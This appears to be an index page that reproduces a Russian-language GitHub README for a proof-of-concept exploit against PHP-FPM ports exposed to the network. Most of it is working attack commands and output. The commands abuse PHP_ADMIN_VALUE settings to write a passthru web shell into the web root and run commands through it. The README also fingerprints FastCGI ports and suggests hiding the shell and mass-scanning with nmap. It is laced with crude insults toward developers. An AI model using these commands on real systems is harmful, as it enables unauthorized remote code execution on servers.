Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/s3rgeym/php-fpm-exploit
Ломаем доступные извне php-fpm
https://github.com/s3rgeym/php-fpm-exploit
Last synced: 1 day ago
JSON representation
Ломаем доступные извне php-fpm
- Host: GitHub
- URL: https://github.com/s3rgeym/php-fpm-exploit
- Owner: s3rgeym
- Created: 2024-02-07T17:06:01.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2024-02-09T01:42:22.000Z (9 months ago)
- Last Synced: 2024-02-09T18:28:14.867Z (9 months ago)
- Language: Python
- Size: 134 KB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# PHP-FRM Exploit of Open Port: Proof of Concept
## Эксплуатация уязвимости
**TL;DR**: открытый порт PHP-FPM позволяет загрузить на сервер шелл (скрипт дающий доступ к выполнению произвольных команд на сервере).
Название, конечно, хайповое... Как можно взломать квартиру, ключ от которой лежит под ковриком у входной двери?
На данное исследование меня подтолкнуло периодическое почитывание хабра... Возьмем, например, [эту статью](https://habr.com/ru/companies/otus/articles/715672/). Здесь очередная пхп-макака показывает свое знание Docker:
```yaml
services:
nginx-service:
image: nginx:stable-alpine
container_name: nginx-container
ports:
- "8080:80"
# ...
# сам php-fpm
php81-service:
build:
context: .
dockerfile: ./php/Dockerfile
container_name: php81-container
ports:
- "9000:9000"
volumes:
- ./app:/var/www/project
networks:
- nginx-php81-mysql8
# ...
# главное, что сеть дефолт и php-fpm доступен извне
networks:
nginx-php81-mysql8
```Что в нем не так? - Порты наружу торчат! Обратите внимание, что это пост очередной школы погромирования (ага шутки про `Pogrom Files`). И таких дебилов море... А чем же это опасно? - А вот возьмем и проверим!
Для начала поднимем тестовое окружение:
```bash
docker compose up -d
```Так же потребуется клиент для работы с FastCGI:
```bash
$ yay -S fcgi
```Атака возможна благодаря тому, что мы можем изменять настройки `php.ini`, через переменные окружения `PHP_ADMIN_VALUE` и `PHP_ADMIN_FLAG` либо через `PHP_VALUE`/`PHP_FLAG` (первые нельзя переопределить). Список доступны настроек [тут](https://www.php.net/manual/ru/ini.core.php).
Можно, например, выполнить произвольный файл на сервере:
```bash
# Сначала создадим файл
$ docker compose exec php-fpm sh
/var/www/html # echo '' > /tmp/evil.txt
/var/www/html # exit# Проверим. Работает. Ожидаемо
$ PHP_ADMIN_VALUE='auto_prepend_file=/tmp/evil.txt' REQUEST_METHOD=GET SCRIPT_NAME=hello.php SCRIPT_FILENAME=hello.php cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8Hacking Attempt!
```Я не мог не прололировать с хуесосов-похапешников с их бессмертным **DIE HACKING ATTEMPT**, простите (или не прощайте, абсолютно похуй).
Но мы хитрее будем использовать эту директиву. С помощью нее можно записать shell на сервере.
```bash
$ PHP_ADMIN_VALUE='error_reporting=E_ALL
log_errors=on
error_log=/var/www/html/shell.php
auto_prepend_file=""' REQUEST_METHOD=GET SCRIPT_NAME=hello.php SCRIPT_FILENAME=hello.php cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8
Warning: Unknown: Failed to open stream: No such file or directory in Unknown on line 0
Fatal error: Failed opening required '<?php passthru($_REQUEST[chr(99)]); ?>' (include_path='.:/usr/local/lib/php') in Unknown on line 0
```Мы передаем в качестве имени подключаемого файла код шелла, что приводит к ошибке, а ошибка у нас записывается куда-то в корень сайта, в файл с расширением `.php`, те мы создаем обычный шелл. В `SCRIPT_NAME` и `SCRIPT_FILENAME` обязательно нужно указывать существующий скрипт!
Проверим:
```bash
$ PHP_ADMIN_VALUE='error_log = /dev/null' REQUEST_METHOD=GET QUERY_STRING='c=id' SCRIPT_NAME=shell.php SCRIPT_FILENAME=shell.php cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8[07-Feb-2024 13:18:59 UTC] PHP Warning: Unknown: Failed to open stream: No such file or directory in Unknown on line 0
[07-Feb-2024 13:18:59 UTC] PHP Fatal error: Failed opening required 'uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
' (include_path='.:/usr/local/lib/php') in Unknown on line 0
````uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)` - это результат выполнения команды `id`. Так же была изменена директива `error_log` чтобы шелл не захламлялся ошибками. Конечно, для шелла стоит придумать более вменяемое название и спрятать его где-нибудь получше.
Полезны так же директивы:
* `open_basedir` - для подключения скриптов за пределами `DOCUMEMT_ROOT`,
* `allow_url_fopen` (для использования `auto_prepend_file = php://stdin`) и depracated, начиная с PHP 7.4.0, `allow_url_include`, позволяющая подключить скрипты по URL (requires `allow_url_fopen = on`).Осталось лишь научиться определять, что на порту 9000 висит PHP-FPM. У меняпоявилась идея сдампить запрос и посылать байты, тк FastCGI - это бинарный протокол, который реализовывать с нуля дело не 15 минут.
Я попробовал перехватить запрос через `tcdump`:
```bash
# Узнаем имя интерфейса для прослушивания через tcpdump
$ ip ad | grep $(docker compose exec php-fpm cat /sys/class/net/eth0/iflink)
Found existing global alias for "| grep". You should use: "G"
33: vethff9b53c@if32: mtu 1500 qdisc noqueue master br-ae80d47fdf82 state UP group default# Без собаки...
$ sudo tcpdump -i vethff9b53c
```Я пытался разобраться в фильтрах этой ебани, но не смог (я им раз в сто лет пользуюсь)... Поэтому я не стал выебываться и запустил **WireShark**, но и тот мне мало помог.
Тогда было решено использовать unix-сокет, в котором нет ничего лишнего кроме запроса:
```bash
# Запускаем netcat, который создаст сокет и будет его слушать
TermA# nc -lkU php-fpm.sock > req# теперь отправим запрос, сбросив предварительно пользовательские переменные окружения
TermB# env -i SCRIPT_NAME=index.php SCRIPT_FILENAME=index.php REQUEST_METHOD=GET cgi-fcgi -bind -connect php-fpm.sock
```Сначала прерываем выполнение во втором терминале, потом в первом.
Запрос сохранился в файле `req`:
```bash
$ hexdump -C req
00000000 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 |................|
00000010 01 04 00 01 00 43 05 00 0b 09 53 43 52 49 50 54 |.....C....SCRIPT|
00000020 5f 4e 41 4d 45 69 6e 64 65 78 2e 70 68 70 0f 09 |_NAMEindex.php..|
00000030 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 69 |SCRIPT_FILENAMEi|
00000040 6e 64 65 78 2e 70 68 70 0e 03 52 45 51 55 45 53 |ndex.php..REQUES|
00000050 54 5f 4d 45 54 48 4f 44 47 45 54 00 00 00 00 00 |T_METHODGET.....|
00000060 01 04 00 01 00 00 00 00 01 05 00 01 00 00 00 00 |................|
00000070
```Проверим с помощью netcat:
```bash
cat req | nc localhost 9000
jStatus: 404 Not Found
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8File not found.
```Он вырезает контрольные символы.
Если с помощью `Python` отправить запрос, то все будет нагляднее:
```python
b'\x01\x06\x00\x01\x00j\x06\x00Status: 404 Not Found\r\nX-Powered-By: PHP/8.3.2\r\nContent-type: text/html; charset=UTF-8\r\n\r\nFile not found.\n\x00\x00\x00\x00\x00\x00\x01\x03\x00\x01\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```Чтобы разобраться в этой дрисне надо обратиться к [документации](https://fast-cgi.github.io/):
* 0x01 - это версия протокола. Она вроде всегда 1
* 0x06 - тип сообщения? не знаю как назвать. У FSGI_STDOUT он 6Я набросал скрипт `php-fpm-check.py`, который как раз проверяет первые два байта:
```bash
$ ./php-fpm-check.py google.com -p 80
[D] response=b'HTTP/1.0 400 Bad Request\r\nContent-Length: 54\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Wed, 07 Feb 2024 17:26:06 GMT\r\n\r\nError 400 (Bad Request)!!1'
[-] Malformed FastCGI response# Код в случае ошибки будет отличен от 0
$ echo $?
1$ ./php-fpm-check.py localhost
[D] response=b'\x01\x06\x00\x01\x00j\x06\x00Status: 404 Not Found\r\nX-Powered-By: PHP/8.3.2\r\nContent-type: text/html; charset=UTF-8\r\n\r\nFile not found.\n\x00\x00\x00\x00\x00\x00\x01\x03\x00\x01\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[+] PHP-FPM open port detected!
[I] PHP Version: 8.3.2
```Для массового сканирования можно использовать тот же `nmap`... Только скрипты написать надо.
### Ссылки
Работа с протоколом FastCGI:
* https://www.thatsgeeky.com/2012/02/directly-connecting-to-php-fpm/
* https://habr.com/ru/articles/472190/Старая CVE:
* https://www.x1a0t.com/2020/02/04/Attack-php-fpm/
Эксплойт для ее эксплуатации:
* https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Метод описанный там больше не актуален?
Настройка FPM:
* https://www.php.net/manual/ru/install.fpm.configuration.php
* https://losst.pro/nastrojka-php-fpm
* https://levelup.gitconnected.com/containerizing-nginx-php-fpm-on-alpine-linux-953430ea6dbc## Дополненительные материалы
### Примеры fcgi
Примеры использования `fcgi`:
```bash
$ cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8# Я не берусь утверждать, что у меня php-fpm правильно настроен
$ SCRIPT_NAME=/ping \
SCRIPT_FILENAME=/ping \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/plain;charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0pong
$ SCRIPT_NAME=/status \
SCRIPT_FILENAME=/status \
REQUEST_METHOD=GET \
cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Content-type: text/plain;charset=UTF-8pool: www
process manager: ondemand
start time: 06/Feb/2024:16:24:59 +0000
start since: 2
accepted conn: 1
listen queue: 0
max listen queue: 0
listen queue len: 4096
idle processes: 0
active processes: 1
total processes: 1
max active processes: 1
max children reached: 0
slow requests: 0# см содержимое каталога docroot
$ SCRIPT_NAME=hello.php \
SCRIPT_FILENAME=hello.php \
REQUEST_METHOD=GET \
QUERY_STRING=name=world cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8Hello, world!
# POST-запрос выглядит так:
$ echo "foo=bar" | CONTENT_TYPE='application/x-www-form-urlencoded' \
CONTENT_LENGTH=7 \
SCRIPT_NAME=form.php \
SCRIPT_FILENAME=form.php \
REQUEST_METHOD=POST cgi-fcgi -bind -connect 127.0.0.1:9000
X-Powered-By: PHP/8.3.2
Content-type: text/html; charset=UTF-8array(1) {
["foo"]=>
string(4) "bar"
}
```